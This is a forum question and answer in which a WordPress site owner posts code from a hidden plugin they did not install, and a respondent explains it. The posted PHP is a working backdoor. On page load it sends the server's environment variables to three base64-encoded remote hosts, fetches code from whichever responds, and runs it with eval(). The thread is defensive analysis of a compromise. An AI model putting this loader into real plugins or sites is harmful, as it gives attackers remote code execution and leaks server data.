WordPress hack code issue, help required

Question

I found this plugin installed on my website, i didnt installed, and this also dont show under site-url/wp-admin/plugins.php its a WordPress website. What could the purpose of it ?

add_action('admin_init', "open_hello");

if (!is_admin()) {
  open_hello();
}

function open_hello()
{
$args = array(
    'timeout' => 15,
    'headers' => array(
        "User-Agent" => json_encode($_SERVER),
    ),
);

$ids = array("djQud3B5b3UucnU=", "djQucDAzLnJ1", "djQuaGltZW4ucnU=");

foreach ($ids as $id) {
    $response = wp_remote_get("http://" . base64_decode($id) . "/v5", $args);
    if (!is_wp_error($response) && 200 === wp_remote_retrieve_response_code($response)) {
        return eval($response['body']);
    }
  }
}

Answer 1

This will try to load PHP code from one of three servers, the three base64-encoded strings, and execute the first one it successfully fetches on your server.

Those domains do still exist, so this is potentially an active hack. They don't return any data to me when tested but I hadn't set a domain in the user agent. It's possible they can tailor the code to run based on the domain this code is installed on, or they simply don't have any malicious actions to do at the moment, or they deliberately avoid responding to anything that doesn't look like a hacked server.

This will happen synchronously on page load: immediately when the plugin was loaded on non-admin pages, or on the admin-init hook for the admin site.

Note that this code won't be run if not activated unless it's installed as a mu-plugin or has been dropped into your theme or another plugin in the right place. So this may not actually be active anyway.